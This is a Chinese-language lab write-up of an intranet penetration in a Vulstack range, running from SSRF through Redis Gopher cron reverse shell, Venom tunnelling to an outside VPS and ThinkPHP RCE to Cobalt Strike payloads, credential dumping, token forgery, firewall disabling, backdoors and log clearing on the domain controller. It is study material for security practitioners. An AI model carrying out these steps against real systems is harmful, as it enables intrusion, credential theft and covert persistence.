因为最近遇到一次实战,环境较为敏感,就不通过用真实环境来记录了。
我通过模拟环境来记录最终拿下域控的全过程,网络环境如下:
-
通过Vulstack的靶场模拟内网环境
-
同DMZ网段,一台
Linux做Redis和公网WEB服务机器,不在域内 -
存在
内网WEB服务,并且内网WEB服务在域内
0x01 外网突破:
-
在进行打点测试时,发现Web应用存在SSRF漏洞(通过
Demo模拟),探测后发现协议没有限制,先探测一下本机的端口:
-
发现6379端口开启,猜测为
Redis,通过dict操作发现,存在未授权访问漏洞,版本为5.0.9:
-
可以通过Gopher协议写计划任务实现反弹shell,反弹shell到公网,通过一个小工具,生成Gopher数据:

- 收到Shell,是一个哑Shell,目标机器存在Python环境,我们通过Python弹一个完整Shell

# 执行命令:
python -c 'import pty; pty.spawn("/bin/bash")'
-
得到Shell:

0x02 内网隧道建立:
- 先看一下网络结构,192.168.135.0,通过
Venom将目标内网流量代理出去:

- 将
agent下载到目标机,将流量转发出去:
# 目标机执行:
./agent_linux_x64 -rhost vps-ip -rport 9999

- 进入节点,启动代理:

- 本机配置好全局代理,探测网段
192.168.135.0/24,端口扫描结果如下,重点关注192.168.135.150

- 访问一下,ThinkPHP框架,存在
RCE


0x03 横向渗透
-
通过
RCE,发现是台Windows主机,出外网,先排查下目标机器有没有AV或者杀毒,排查后没有杀毒
-
直接CS生成
Payload,远程下载执行,上线成功:
-
等主机上线后我们就可以把代理关闭了,以后在启动代理通过
CS启动就可以,给Linux主机种一个SSH后门,隐藏一个文件,作为启动文件,开始进行横向渗透:- 通过
MS14-058提权,获得管理员权限:

- 通过
-
- 抓密码和hash,维持好权限:

-
收集一下网段信息,以及域内机器,真实环境中,还有各类域内服务,

-
Ping一下,得到域控IP: 192.168.138.138,
Arp-a查看所有ARP缓存表中的所有信息:


-
结构很明确了,下一步直接拿域控,因为密码已经抓到了
明文直接伪造Token,来上线域控

-
在Web服务器上起一个
中转监听,以后域内机器都通过Web来进行中转,查看域内机器,远程上线域控:
-
直接上线,因为
Web服务器的防火墙时开启的,我们暴力一点直接远程关闭防火墙,然后上线域控:
-
最终结果:

后续清理各类日志,维持权限,可以通过反射dll来维持,效果极佳
权限持好后,就可以进行数据收集以及密码查找
收集的关键信息在横向,收集到信息在横向,最终撸穿内网
0x04 总结
- 相对基础的的一次渗透过程,真实环境中,也是外网进去,拿到了域内
Web服务器,真实环境就不放了..主要工具免杀以及权限维持都会花费大量时间 - SSRF-->Redis-->DC 全过程的起点都是小小的一个SSRF,可见危害是及其严重的
- 继续努力,早日脱菜
0x05 所用到的工具:
https://github.com/Dliv3/Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具
https://github.com/LS95/gopher-redis-auth
gopher-redis-auth生成工具